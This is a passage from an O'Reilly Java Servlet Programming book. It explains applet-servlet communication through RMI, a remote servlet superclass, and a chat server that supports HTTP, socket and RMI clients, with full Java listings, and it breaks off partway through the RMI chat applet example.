The applet and servlet could continue to communicate using this socket. That's one of the major advantages of not using HTTP communication. But, in this case, the applet got what it wanted and just needs to close the connection. It performs this close in a finally block. Putting the close here guarantees that the connection is closed whether the try throws an exception or not.

With the addition of these two methods our applet is nearly complete. If you run it now, you should see that all of the fields except "RMI object" contain dates.

10.2.5. RMI Communication

Earlier in this chapter, we pointed out that one of the reasons not to use RMI communication is that it's complicated. Although that's true, it's also true that with the help of another servlet superclass, the code required for a servlet to make itself available via RMI communication can be ridiculously simple. First, we'll lead you through the step-by-step instructions on how to make a servlet a remote object. Then, after you've seen how simple and easy that is, we'll explain all the work going on behind the scenes.

10.2.5.1. The servlet

To begin with, all RMI remote objects must implement a specific interface. This interface does two things: it declares which methods of the remote object are to be made available to remote clients, and it extends the Remote interface to indicate it's an interface for a remote object. For our DaytimeServlet, we can write the DaytimeServer interface shown in Example 10-11.

Example 10-11. The DaytimeServer interface

import java.util.Date;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface DaytimeServer extends Remote {
  public Date getDate() throws RemoteException;
}

This interface declares that our DaytimeServlet makes its getDate() method available to remote clients. Notice that the getDate() signature has been altered slightly--it now throws a RemoteException. Every method made available via RMI must declare that it throws this exception. Although the method itself may not throw the exception, it can be thrown by the system to indicate a network service failure.

The code for DaytimeServlet remains mostly unchanged from its original version. In fact, the only changes are that it now implements DaytimeServer and extends com.oreilly.servlet.RemoteHttpServlet, the superclass that allows this servlet to remain so unchanged. The servlet also implements a destroy() method that calls super.destroy(). It's true that this method is perfectly useless in this example, but it points out that any destroy() method implemented in a remote servlet must call super.destroy() to give the RemoteHttpServlet object's destroy() method a chance to terminate RMI communication. Example 10-12 shows the new DaytimeServlet code.

Example 10-12. The DaytimeServlet now supporting RMI access

import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.RemoteHttpServlet;          // New addition

public class DaytimeServlet extends RemoteHttpServlet  // New addition
                            implements DaytimeServer { // New addition

  // The single method from DaytimeServer
  // Note: the throws clause isn't necessary here
  public Date getDate() {
    return new Date();
  }

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    // Additional code could go here
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                            throws ServletException, IOException {
    // If the client says "format=object" then
    // send the Date as a serialized object
    if ("object".equals(req.getParameter("format"))) {
      ObjectOutputStream out = new ObjectOutputStream(res.getOutputStream());
      out.writeObject(getDate());
    }
    // Otherwise send the Date as a normal ASCII string
    else {
      PrintWriter out = res.getWriter();
      out.println(getDate().toString());
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }

  public void destroy() {
    // If you override destroy() you have to call super.destroy()
    super.destroy();
  }
}

So that's how to write a remote object servlet. We suggest you place such servlets directly in the server's classpath (server_root/classes) so they aren't reloaded, since reloading a remote object tends to cause unexpected results. Compiling a remote object servlet is the same as for every other servlet, with one additional step. After compiling the servlet source code, you now have to compile the servlet class with the RMI compiler rmic. The RMI compiler takes a remote object's class file and generates stuband skeleton versions of the class. These classes work behind the scenes to enable RMI communication. You don't need to worry about the details, but you should know that the stub helps the client invoke methods on the remote object and the skeleton helps the server handle those invocations.

Using rmic is similar to using javac. For this example you can compile DaytimeServlet with the following command:

% rmic DaytimeServlet

Notice that you provide rmic with a Java class name to compile, not a file. Thus, if the servlet to compile is part of a package it should be given to rmic as package.name.ServletName. The rmic program can take a classpath to search with the -classpath parameter, as well as a destination directory for the stub and skeleton files with the -d parameter.

After executing the above rmic command, you should see two new class files: DaytimeServlet_Stub.class and DaytimeServlet_Skel.class. We'll tell you what to do with these in just a minute. First, you should know that you don't have to rerun the RMI compiler every time you modify the remote servlet's code. This is because the stub and skeleton classes are built in terms of the servlet's interface, not its implementation of that interface. Accordingly, you need to regenerate them only when you modify the DaytimeServer interface (or your equivalent interface).

Now, for the final step in writing a remote servlet: copying a few class files to the server's document root, where they can be downloaded by an applet. There are two class files that need to be downloaded: the stub class DaytimeServlet_Stub.class and the remote interface class DaytimeServer.class. The client (in this case the applet) needs the stub class to perform its half of the RMI communication, and the stub class itself uses the remote interface class. Be aware that the servlet needs to use these classes, too, so copy them to the server's document root and leave them in the server's classpath.[5] Figure 10-2 shows where all the server files go.

[5] Managing multiple class files can become a serious headache during development. On a Unix system, you can use soft links to simplify the task. Or, on any system, you can implement a more general-purpose solution: change the server's classpath to include server_root/public_html/classes. Put the interface class and stub class in there. Then the server can find them in its new classpath and the applet's codebase can be set to /classes to find them as well.

Figure 10-2. File locations for RMI communication

That's it! If you follow these instructions you should be able to get a remote servlet operating in short order. Now let's look at the RemoteHttpServlet class and see what's going on behind the scenes.

10.2.5.2. The superclass

A remote object needs to do two things to prepare itself for RMI communication: it needs to export itself and register itself. When a remote object exports itself, it begins listening on a port for incoming method invocation requests. When a remote object registers itself, it tells a registry server its name and port number, so that clients can locate it (essentially, find out its port number) and communicate with it. These two tasks are handled by the RemoteHttpServlet class, shown in Example 10-13.

Example 10-13. The RemoteHttpServlet superclass

package com.oreilly.servlet;

import java.io.*;
import java.net.*;
import java.rmi.*;
import java.rmi.server.*;
import java.rmi.registry.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public abstract class RemoteHttpServlet extends HttpServlet
                                        implements Remote {

  protected Registry registry;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    try {
      // Export ourself
      UnicastRemoteObject.exportObject(this);
      // Register ourself
      bind();
    }
    catch (RemoteException e) {
      getServletContext().log(e, "Problem binding to RMI registry");
    }
  }

  public void destroy() {
    // Unregister ourself
    unbind();
  }

  // Returns the name under which we are to be registered
  protected String getRegistryName() {
    // First name choice is the "registryName" init parameter
    String name = getInitParameter("registryName");
    if (name != null) return name;

    // Fallback choice is the name of this class
    return this.getClass().getName();
  }

  // Returns the port on which the registry server is listening
  // (or should be listening)
  protected int getRegistryPort() {
    // First port choice is the "registryPort" init parameter
    try { return Integer.parseInt(getInitParameter("registryPort")); }

    // Fallback choice is the default registry port (1099)
    catch (NumberFormatException e) { return Registry.REGISTRY_PORT; }
  }

  protected void bind() {
    // Try to find the appropriate registry already running
    try {
      registry = LocateRegistry.getRegistry(getRegistryPort());
      registry.list();  // Verify it's alive and well
    }
    catch (Exception e) {
      // Couldn't get a valid registry
      registry = null;
    }

    // If we couldn't find it, we need to create it.
    // (Equivalent to running "rmiregistry")
    if (registry == null) {
      try {
        registry = LocateRegistry.createRegistry(getRegistryPort());
      }
      catch (Exception e) {
        log("Could not get or create RMI registry on port " +
            getRegistryPort() + ": " + e.getMessage());
        return;
      }
    }

    // If we get here, we must have a valid registry.
    // Now register this servlet instance with that registry.
    // "Rebind" to replace any other objects using our name.
    try {
      registry.rebind(getRegistryName(), this);
    }
    catch (Exception e) {
      log("Could not bind to RMI registry: " + e.getMessage());
      return;
    }
  }

  protected void unbind() {
    try {
      if (registry != null) registry.unbind(getRegistryName());
    }
    catch (Exception e) {
      getServletContext().log(e, "Problem unbinding from RMI registry");
    }
  }
}

If you've ever used or read about RMI before, you've probably seen remote objects that extend the java.rmi.server.UnicastRemoteObject class. This is the standard--and, in fact, recommended--way to write a remote object. The RemoteHttpServlet class, however, doesn't extend UnicastRemoteObject; it extends HttpServlet. As you may know, Java doesn't support multiple inheritance. This means that RemoteHttpServlet has to choose to extend either UnicastRemoteObject or HttpServleteven though it needs functionality from both classes. It's a difficult choice. Whichever class RemoteHttpServlet doesn't extend it has to basically reimplement on its own. In the end, we've extended HttpServlet because it's easier to rewrite the functionality of UnicastRemoteObject than that of HttpServlet.

This rewrite requires RemoteHttpServlet to do two things it wouldn't have to do if it extended UnicastRemoteObject. First, it must declare that it implements the Remote interface. All remote objects must implement this interface, but normally, by extending UnicastRemoteObject, a class gets this for free. Still, the price for going it alone isn't too bad, as the Remote interface doesn't actually define any methods. An object declares that it implements Remote solely to express its desire to be treated as a remote object.

The second thing RemoteHttpServlet has to do is manually export itself. Normally, this is performed automatically in the UnicastRemoteObject() constructor. But again, doing this without that constructor is not a problem. The UnicastRemoteObject class has a static exportObject(Remote) method that any Remote object can use to export itself. RemoteHttpServlet uses this method and exports itself with this single line:

UnicastRemoteObject.exportObject(this);

Those two steps, implementing Remote and exporting itself, are done by RemoteHttpServlet in lieu of extending UnicastRemoteObject.[6]

[6] To be absolutely correct, there is more we need to do. According to the java.rmi.remote.UnicastRemoteObject documentation, "If UnicastRemoteObject is not extended, the implementation class must then assume the responsibility for the correct semantics of the hashCode, equals, and toString methods inherited from the Object class, so that they behave appropriately for remote objects." According to the java.rmi.remote.RemoteRef documentation, "These methods should guarantee that two remote object stubs that refer to the same remote object will have the same hash code (in order to support remote objects as keys in hash tables)." Implementing the mechanism to support this guarantee is fairly difficult and, we believe, not commonly necessary for applet-servlet communication; thus we've taken the liberty of shirking this responsibility with RemoteHttpServlet.

The rest of the RemoteHttpServlet code involves registering and unregistering itself with an RMI registry. As we said before, an RMI registry server acts as a location where clients can locate server objects. A remote object (server object) registers itself with the registry under a certain name. Clients can then go to the registry to look up the object by that name. To make itself available to clients then, our servlet has to find (or create) a registry server and register itself with that server under a specific name. In registry parlance, this is called binding to the registry. RemoteHttpServlet performs this binding with its bind() method, called from within its init() method.

The bind() method uses two support methods, getRegistryPort() and getRegistryName(), to determine the port on which the servlet should be running and the name under which the servlet should be registered. With the current implementations, the port is fetched from the registryPort init parameter, or it defaults to 1099. The name is taken from the registryName init parameter or defaults to the servlet's class name--in this case, DaytimeServlet.

Let's step through the bind() method. It begins by using the following code to try to find an appropriate registry that is already running:

registry = LocateRegistry.getRegistry(getRegistryPort());
registry.list();

The first line attempts to get the registry running on the given port. The second asks the registry to list its currently registered objects. If both calls succeed, we have a valid registry. If either call throws an Exception, the bind() method determines there is no valid registry and creates one itself. It does this with the following line of code:

registry = LocateRegistry.createRegistry(getRegistryPort());

After this, the bind() method should have either found or created a registry server. If it failed in getting the registry and failed again in creating it, it returns and the servlet remains unregistered. RemoteHttpServlet next binds itself to the registry using this line of code:

registry.rebind(getRegistryName(), this);

It uses the Registry.rebind() method instead of the Registry.bind() method to indicate that this binding should replace any previous binding using our name. This binding persists until the servlet is destroyed, at which time the destroy() method of RemoteHttpServlet calls its unbind() method. The code unbind() uses to unbind from the registry is remarkably simple:

if (registry != null) registry.unbind(getRegistryName());

It simply asks the registry to unbind its name.

Where to run the registry?

The commonly accepted way to run an RMI registry server is with the standalone Java program rmiregistry. We recommend, however, that you don't run rmiregistry and instead let the RemoteHttpServlet create the registry itself. It's easier and it's more efficient. The first servlet that needs the registry can create the registry. And, by starting the registry within a servlet, the registry runs using the same JVM as the servlet. That makes it possible to use just one JVM for the Java Web Server, all of its servlets (the remote objects), and the registry.

Please note that a remote servlet must be loaded into its server and have its init() method called before it is ready for RMI communication. Thus, just as with a daemon servlet, you should either tell your server to load it at start-up or be sure it is always accessed via HTTP before it is accessed directly.

10.2.5.3. The applet

Now let's turn our attention from the server and focus it on the client. The code our DaytimeApplet uses to invoke the getDate() method of our new DaytimeServlet is shown in Example 10-14.

Example 10-14. The DaytimeApplet getting the time using RMI

import java.rmi.*;           // New addition
import java.rmi.registry.*;  // New addition

private String getRegistryHost() {
  return getCodeBase().getHost();
}

private int getRegistryPort() {
  try { return Integer.parseInt(getParameter("registryPort")); }
  catch (NumberFormatException e) { return Registry.REGISTRY_PORT; }
}

private String getRegistryName() {
  String name = getParameter("registryName");
  if (name == null) {
    name = "DaytimeServlet";  // default
  }
  return name;
}

private String getDateUsingRMIObject() {
  try {
    Registry registry =
      LocateRegistry.getRegistry(getRegistryHost(), getRegistryPort());
    DaytimeServer daytime =
      (DaytimeServer)registry.lookup(getRegistryName());
    return daytime.getDate().toString();
  }
  catch (ClassCastException e) {
    System.out.println("Retrieved object was not a DaytimeServer: " +
                       e.getMessage());
  }
  catch (NotBoundException e) {
    System.out.println(getRegistryName() + " not bound: " + e.getMessage());
  }
  catch (RemoteException e) {
    System.out.println("Hit remote exception: " + e.getMessage());
  }
  catch (Exception e) {
    System.out.println("Problem getting DaytimeServer reference: " +
                       e.getClass().getName() + ": " + e.getMessage());
  }
  return null;
}

The first three methods are support methods. getRegistryHost() returns the host on which the registry server should be running. This must always be the host from which the applet was downloaded. getRegistryPort() returns the port on which the registry server should be listening. It's normally the default registry port 1099, though it can be overridden with the registryPort parameter. getRegistryName() returns the name under which the servlet should have been registered. It defaults to "DaytimeServlet", but it can be overridden with the registryName parameter.

The actual lookup of the remote servlet object and invocation of its getDate() method occur in these three lines of the getDateUsingRMIObject() method:

Registry registry =
  LocateRegistry.getRegistry(getRegistryHost(), getRegistryPort());
DaytimeServer daytime =
  (DaytimeServer)registry.lookup(getRegistryName());
return daytime.getDate().toString();

The first line locates the registry for the given host and the given port. The second line uses this registry to look up the remote object registered under the given name, in the process casting the object to a DaytimeServer object. The third line invokes this object's getDate() method and receives a serialized Date object in return. Then, in the same line, it returns the String representation of that Date.

The rest of the getDateUsingRMIObject() method handles the exceptions that could occur during these three lines. It catches a ClassCastException if the retrieved object is not a DaytimeServer, a NotBoundException if the registry has no object registered under the given name, and a RemoteException if there is a network service failure. It also catches a general Exception, in case there's some other problem.

You may be wondering why DaytimeApplet uses Registry.lookup(String) instead of java.rmi.Naming.lookup(String) to retrieve its reference to the remote servlet. There's really no reason--it's simply a matter of personal taste. It would work just as well to replace the first two lines in getDateUsingRMIOb-ject() with the following code:

DaytimeServer daytime =
  (DaytimeServer)Naming.lookup("rmi://" + getRegistryHost() +
                               ":" + getRegistryPort() +
                               "/" + getRegistryName());

That's it for the fifth and final method of DaytimeApplet. Go ahead and run the applet now. Do you see every date field nicely filled in? You shouldn't. You should instead see empty values for the socket communication options. If you remember, we removed support for socket communication when we made DaytimeServlet a remote object. Now let's put socket communication back in.

10.2.5.4. A full-service servlet

What we need now is a single servlet that can make itself available via HTTP communication, non-HTTP socket communication, and RMI communication. A servlet of this sort can extend a new superclass, com.oreilly.servlet.RemoteDaemonHttpServlet, implementing the capabilities discussed so far for both an RemoteHttpServlet and a DaemonHttpServlet.

Here's the code that declares this full-service servlet:

import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.RemoteDaemonHttpServlet;

public class DaytimeServlet extends RemoteDaemonHttpServlet
                            implements DaytimeServer {

  public Date getDate() {
    return new Date();
  }

  // The rest is unchanged

This code is almost the same as Example 10-8. It's basically that example rewritten to declare that it extends RemoteDaemonHttpServlet and that it implements DaytimeServer.

The code for the RemoteDaemonHttpServlet superclass also nearly matches the code for RemoteHttpServlet. There are just two changes: it extends DaemonHttpServlet instead of HttpServlet, and its destroy() method first calls super.destroy():

package com.oreilly.servlet;

import java.io.*;
import java.net.*;
import java.rmi.*;
import java.rmi.server.*;
import java.rmi.registry.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public abstract class RemoteDaemonHttpServlet extends DaemonHttpServlet
                                              implements Remote {

  public void destroy() {
    super.destroy();
    unbind();
  }

  // The rest is unchanged

Now our DaytimeApplet can connect to this revised remote daemon servlet and produce the full and complete output shown earlier in Figure 10-1.

Previous | Home | Next
10.1. Communication Options | Book Index | 10.3. Chat Server
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Chat Server (Java Servlet Programming)

 Java Servlet Programming Search this book

10.3. Chat Server

The daytime server example from the last section demonstrated the nuts and bolts of using each of the three communication techniques for applet-servlet communication. It didn't take advantage, though, of the persistence gains when using socket communication. Nor did it show off the simplicity of RMI communication or the elegance of RMI callbacks (where the servlet can invoke methods of the applet). It also didn't provide a compelling reason for why one servlet should support all the communication techniques--there was no state to maintain or complicated code base to collect in one location. So, before we end our discussion of applet-servlet communication, let's look at a more sophisticated example: a chat server, implemented as a servlet, that supports clients connecting via HTTP, non-HTTP sockets, and RMI.

We'll build this chat server using all three communication techniques so that it can take advantage of the best, most efficient solution for each client. For example, when the client supports RMI, the servlet can be treated as a remote object, and (where possible) it can treat the applet as a remote object, too. When the client doesn't support RMI but can support direct socket communication, the chat server can utilize socket persistence and communicate with the client using a non-HTTP socket protocol. And, of course, when all else fails, the chat server can fall back to using HTTP. It would rather not fall back because HTTP, being stateless, requires that the client poll for updates. But for many clients, HTTP is the only choice.

The chat server is implemented as a single class with a single instantiation because it has a large amount of associated state and a fair amount of code that would otherwise have to be repeated. To separate it into three classes, one for each protocol, would demand excessive interserver communication and replicate the core chat server code three times. Implementing the chat server as a servlet provides a simple way for one object to make itself available via all three communication techniques. By being an HTTP servlet, it has built-in HTTP support. And by extending the RemoteDaemonHttpServlet class, it can also easily gain support for non-HTTP socket and RMI communication.

Note that although you'll see the code in its entirety, we won't be fully explaining each and every line. To do so would extend this chapter beyond a reasonable length, assuming we aren't there already. Therefore, we'll explain the issues as they concern applet-servlet communication and rely on you to examine the code to understand all the details.

10.3.1. The Design

Figure 10-3 shows the chat applet in action. Notice that it uses a large TextArea component to display the running conversation, with a small TextInput component underneath where the user can post a new single-line message. As each contributor composes a message, it's sent to the chat server and distributed to the other chat clients in various ways.

Figure 10-3. The chat applet in action

HTTP chat clients post their messages to the server using the HTTP POST method. The applet takes the new message from the TextInput component when the user hits Enter, URL-encodes the message, and posts it to the servlet as a message parameter. It's all very straightforward. What is a bit more complicated is how an HTTP chat client manages to get the other clients' messages. It uses the HTTP GET method to receive each message, but it has a problem: it doesn't know when exactly there's a new message to get. This is the problem with a unidirectional request/response communication paradigm. The client has to either periodically poll for updates or simulate bidirectional communication by making a series of blocking GET requests. By that we mean the chat client initiates a GET request that blocks until the server decides it's time to return something. For our example, we implement this simulated bidirectional communication.

Socket chat clients, for the sake of convenience, post their messages to the server the same way HTTP chat clients do, with the HTTP POST method. They could post their messages using raw socket connections, but only with a marginal gain in efficiency that, at least in this case, doesn't outweigh the increased complexity. These socket clients, however, do use raw sockets to get messages from the other clients, replacing the simulated bidirectional communication with actual bidirectional communication. As each new message comes in to the servlet, it's sent right away from the servlet to the socket chat clients across plain-text socket connections.

RMI chat clients perform their POSTs and their GETs using method invocations. To post each new message, the applet simply calls the remote servlet's broadcastMessage(String) method. To get new messages, it has two options. It can call the servlet's blocking getNextMessage() method or, through the use of callbacks, it can ask the servlet to call its own setNextMessage(String) method every time there's a new message broadcast. We've chosen to use the callback option in our example.

In front of all these applets is a dispatch servlet. It lets the user choose the applet-servlet communication technique (HTTP, socket, or RMI) he wants to use and, based on his choice, generates a page that contains the appropriate applet. It's true that a single applet could be written to support all three techniques and auto-select between them based on its runtime environment, but to do that here would unnecessarily complicate our example. The dispatch servlet also tells the applet the name of its user, but more on that later.

10.3.2. The Servlet

The full listings for the ChatServer interface and the ChatServlet class that implements it are given in Example 10-15 and Example 10-16.

Example 10-15. The ChatServer interface, implemented by ChatServlet

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface ChatServer extends Remote {
  public String getNextMessage() throws RemoteException;
  public void broadcastMessage(String message) throws RemoteException;

  public void addClient(ChatClient client) throws RemoteException;
  public void deleteClient(ChatClient client) throws RemoteException;
}

Example 10-16. A full-service chat server/servlet

import java.io.*;
import java.net.*;
import java.rmi.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.RemoteDaemonHttpServlet;

public class ChatServlet extends RemoteDaemonHttpServlet
                         implements ChatServer {

  // source acts as the distributor of new messages
  MessageSource source = new MessageSource();

  // socketClients holds references to all the socket-connected clients
  Vector socketClients = new Vector();

  // rmiClients holds references to all the RMI clients
  Vector rmiClients = new Vector();

  // doGet() returns the next message. It blocks until there is one.
  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    // Return the next message (blocking)
    out.println(getNextMessage());
  }

  // doPost() accepts a new message and broadcasts it to all
  // the currently listening HTTP and socket clients.
  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    // Accept the new message as the "message" parameter
    String message = req.getParameter("message");

    // Broadcast it to all listening clients
    if (message != null) broadcastMessage(message);

    // Set the status code to indicate there will be no response
    res.setStatus(res.SC_NO_CONTENT);
  }

  // getNextMessage() returns the next new message.
  // It blocks until there is one.
  public String getNextMessage() {
    // Create a message sink to wait for a new message from the
    // message source.
    return new MessageSink().getNextMessage(source);
  }

  // broadcastMessage() informs all currently listening clients that there
  // is a new message. Causes all calls to getNextMessage() to unblock.
  public void broadcastMessage(String message) {
    // Send the message to all the HTTP-connected clients by giving the
    // message to the message source
    source.sendMessage(message);

    // Directly send the message to all the socket-connected clients
    Enumeration enum = socketClients.elements();
    while (enum.hasMoreElements()) {
      Socket client = null;
      try {
        client = (Socket)enum.nextElement();
        PrintStream out = new PrintStream(client.getOutputStream());
        out.println(message);
      }
      catch (IOException e) {
        // Problem with a client, close and remote it
        try {
          if (client != null) client.close();
        }
        catch (IOException ignored) { }
        socketClients.removeElement(client);
      }
    }

    // Directly send the message to all RMI clients
    enum = rmiClients.elements();
    while (enum.hasMoreElements()) {
      ChatClient chatClient = null;
      try {
        chatClient = (ChatClient)enum.nextElement();
        chatClient.setNextMessage(message);
      }
      catch (RemoteException e) {
        // Problem communicating with a client, remove it
        deleteClient(chatClient);
      }
    }
  }

  protected int getSocketPort() {
    // We listen on port 2428 (look at a phone to see why)
    return 2428;
  }

  public void handleClient(Socket client) {
    // We have a new socket client. Add it to our list.
    socketClients.addElement(client);
  }

  public void addClient(ChatClient client) {
    // We have a new RMI client. Add it to our list.
    rmiClients.addElement(client);
  }

  public void deleteClient(ChatClient client) {
    // Remote the specified client from our list.
    rmiClients.removeElement(client);
  }
}

// MessageSource acts as the source for new messages.
// Clients interested in receiving new messages can
// observe this object.
class MessageSource extends Observable {
  public void sendMessage(String message) {
    setChanged();
    notifyObservers(message);
  }
}

// MessageSink acts as the receiver of new messages.
// It listens to the source.
class MessageSink implements Observer {

  String message = null;  // set by update() and read by getNextMessage()

  // Called by the message source when it gets a new message
  synchronized public void update(Observable o, Object arg) {
    // Get the new message
    message = (String)arg;

    // Wake up our waiting thread
    notify();
  }

  // Gets the next message sent out from the message source
  synchronized public String getNextMessage(MessageSource source) {
    // Tell source we want to be told about new messages
    source.addObserver(this);

    // Wait until our update() method receives a message
    while (message == null) {
      try { wait(); } catch (Exception ignored) { }
    }

    // Tell source to stop telling us about new messages
    source.deleteObserver(this);

    // Now return the message we received
    // But first set the message instance variable to null
    // so update() and getNextMessage() can be called again.
    String messageCopy = message;
    message = null;
    return messageCopy;
  }
}

The getNextMessage() and broadcastMessage(String message) methods are most interesting portions of ChatServlet. The getNextMessage() method returns the next new message as it comes in, blocking until there is one. To enable this blocking, it uses the MessageSource and MessageSink classes. Without getting too deep into the details of these two classes, we'll just say this: the servlet constructs a new MessageSink and asks this sink to get the next message from the source. To accomplish this, the sink registers itself as an observer of source and calls wait() to block. When the source receives a new message, the sink (being an observer) is notified of the change with a call to its update() method. The sink's update() method saves the source's latest message in its message variable and then calls notify(). This causes its getNextMessage() method to unblock and return the message.

The broadcastMessage() method tells all listening clients when there's a new message. It notifies HTTP clients by sending the message to the MessageSource; other clients it notifies directly by looping through its client list. For each of its socket-connected clients, it prints the message to the client's socket. For each of its RMI clients, it calls the client's setNextMessage(String) method. This is the callback we've been talking about. If, at any point, there's a problem with a socket or RMI client, it removes that client from its list.

The two lists, socketClients and rmiClients, are populated as the servlet hears from clients. When a socket client connects, the servlet's handleClient(Socket) method is called and the new client is added to the socketClientsVector. RMI clients have to add themselves to the list by invoking the servlet's addClient(ChatClient) method.

The doGet() and doPost() methods of ChatServlet are essentially thin wrappers around the getNextMessage() and broadcastMessage() methods. The doGet() wrapper is so thin you can almost see through it: doGet() sends as its response whatever String is returned by getNextMessage(). The doPost() wrapper is a bit less transparent. It extracts the posted message from the POST form data's "message" parameter, broadcasts the message by passing it to the broadcastMessage() method, and sets its response's status code to SC_NO_CONTENT to indicate there is no content in the response. In a sense, making a GET request is equivalent to calling getNextMessage(), and making a POST request is equivalent to calling broadcastMessage().

Did you notice which socket port ChatServlet listens on? It's 2428. Overriding the getSocketPort() method as ChatServlet does is an easy way to set the socket port when you don't want to use an init parameter.

10.3.3. The HTTP Applet

The code for our first applet, the HTTP chat applet, is shown in Example 10-17.

Example 10-17. A chat client using HTTP communication

import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;

import com.oreilly.servlet.HttpMessage;

public class HttpChatApplet extends Applet implements Runnable {

  TextArea text;
  Label label;
  TextField input;
  Thread thread;
  String user;

  public void init() {
    // Check if this applet was loaded directly from the filesystem.
    // If so, explain to the user that this applet needs to be loaded
    // from a server in order to communicate with that server's servlets.
    URL codebase = getCodeBase();
    if (!"http".equals(codebase.getProtocol())) {
      System.out.println();
      System.out.println("*** Whoops! ***");
      System.out.println("This applet must be loaded from a web server.");
      System.out.println("Please try again, this time fetching the HTML");
      System.out.println("file containing this servlet as");
      System.out.println("\"http://server:port/file.html\".");
      System.out.println();
      System.exit(1);  // Works only from appletviewer
                       // Browsers throw an exception and muddle on
    }

    // Get this user's name from an applet parameter set by the servlet
    // We could just ask the user, but this demonstrates a
    // form of servlet->applet communication.
    user = getParameter("user");
    if (user == null) user = "anonymous";

    // Set up the user interface...
    // On top, a large TextArea showing what everyone's saying.
    // Underneath, a labeled TextField to accept this user's input.
    text = new TextArea();
    text.setEditable(false);
    label = new Label("Say something: ");
    input = new TextField();
    input.setEditable(true);

    setLayout(new BorderLayout());
    Panel panel = new Panel();
    panel.setLayout(new BorderLayout());

    add("Center", text);
    add("South", panel);

    panel.add("West", label);
    panel.add("Center", input);
  }

  public void start() {
    thread = new Thread(this);
    thread.start();
  }

  String getNextMessage() {
    String nextMessage = null;
    while (nextMessage == null) {
      try {
        URL url = new URL(getCodeBase(), "/servlet/ChatServlet");
        HttpMessage msg = new HttpMessage(url);
        InputStream in = msg.sendGetMessage();
        DataInputStream data = new DataInputStream(
                               new BufferedInputStream(in));
        nextMessage = data.readLine();
      }
      catch (SocketException e) {
        // Can't connect to host, report it and wait before trying again
        System.out.println("Can't connect to host: " + e.getMessage());
        try { Thread.sleep(5000); } catch (InterruptedException ignored) { }
      }
      catch (FileNotFoundException e) {
        // Servlet doesn't exist, report it and wait before trying again
        System.out.println("Resource not found: " + e.getMessage());
        try { Thread.sleep(5000); } catch (InterruptedException ignored) { }
      }
      catch (Exception e) {
        // Some other problem, report it and wait before trying again
        System.out.println("General exception: " +
          e.getClass().getName() + ": " + e.getMessage());
        try { Thread.sleep(1000); } catch (InterruptedException ignored) { }
      }
    }
    return nextMessage + "\n";
  }

  public void run() {
    while (true) {
      text.appendText(getNextMessage());
    }
  }

  public void stop() {
    thread.stop();
    thread = null;
  }

  void broadcastMessage(String message) {
    message = user + ": " + message;  // Pre-pend the speaker's name
    try {
      URL url = new URL(getCodeBase(), "/servlet/ChatServlet");
      HttpMessage msg = new HttpMessage(url);
      Properties props = new Properties();
      props.put("message", message);
      msg.sendPostMessage(props);
    }
    catch (SocketException e) {
      // Can't connect to host, report it and abandon the broadcast
      System.out.println("Can't connect to host: " + e.getMessage());
    }
    catch (FileNotFoundException e) {
      // Servlet doesn't exist, report it and abandon the broadcast
      System.out.println("Resource not found: " + e.getMessage());
    }
    catch (Exception e) {
      // Some other problem, report it and abandon the broadcast
      System.out.println("General exception: " +
        e.getClass().getName() + ": " + e.getMessage());
    }
  }

  public boolean handleEvent(Event event) {
    switch (event.id) {
      case Event.ACTION_EVENT:
        if (event.target == input) {
          broadcastMessage(input.getText());
          input.setText("");
          return true;
        }
    }
    return false;
  }
}

This applet has the same two workhorse methods as ChatServlet: getNextMessage() and broadcastMessage(). Its getNextMessage() method gets the next message from the servlet. It's called repeatedly to update the TextArea. It operates using an HttpMessage to make a GET request to the servlet, then interprets the first line of the response as the next new message. Its broadcastMessage() method sends a message to the servlet for distribution to the other clients. This method is called in the applet's handleEvent() method every time the user hits Enter in the TextInput component. It works similarly to getNextMessage(). It uses an HttpMessage to perform a POST request, passing the TextInput's text as the "message" parameter, and it doesn't bother to read the response.

10.3.4. The Socket-Connecting Applet

The only difference between the socket-based SocketChatApplet and the HTTP-based HttpChatApplet is a redesigned getNextMessage() method. This method is shown in Example 10-18.

Example 10-18. A chat client using a raw socket connection

static final int PORT = 2428;
DataInputStream serverStream;

String getNextMessage() {
  String nextMessage = null;
  while (nextMessage == null) {
    try {
      // Connect to the server if we haven't before
      if (serverStream == null) {
        Socket s = new Socket(getCodeBase().getHost(), PORT);
        serverStream = new DataInputStream(
                       new BufferedInputStream(
                       s.getInputStream()));
      }

      // Read a line
      nextMessage = serverStream.readLine();
    }
    catch (SocketException e) {
      // Can't connect to host, report it and wait before trying again
      System.out.println("Can't connect to host: " + e.getMessage());
      serverStream = null;
      try { Thread.sleep(5000); } catch (InterruptedException ignored) { }
    }
    catch (Exception e) {
      // Some other problem, report it and wait before trying again
      System.out.println("General exception: " +
        e.getClass().getName() + ": " + e.getMessage());
      try { Thread.sleep(1000); } catch (InterruptedException ignored) { }
    }
  }
  return nextMessage + "\n";
}

This method reads broadcast messages from a socket that's connected to the chat servlet. It uses a simple socket protocol: all content is plain text, one message per line. The first time this method is called, it establishes the socket connection and then uses the connection to get a DataInputStream, where it can read from the socket one line at a time. It reads the first line from this stream and returns the text as the next message. For each subsequent invocation, it reuses the same stream and simply returns the next line it reads. If there's ever a SocketException, it reestablishes the connection.

10.3.5. The RMI Applet

The code for the ChatClient interface is shown in Example 10-19; the RMI-based chat applet that implements it is shown in Example 10-20.

Example 10-19. The ChatClient interface, implemented by RMIChatApplet

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface ChatClient extends Remote {
  public void setNextMessage(String message) throws RemoteException;
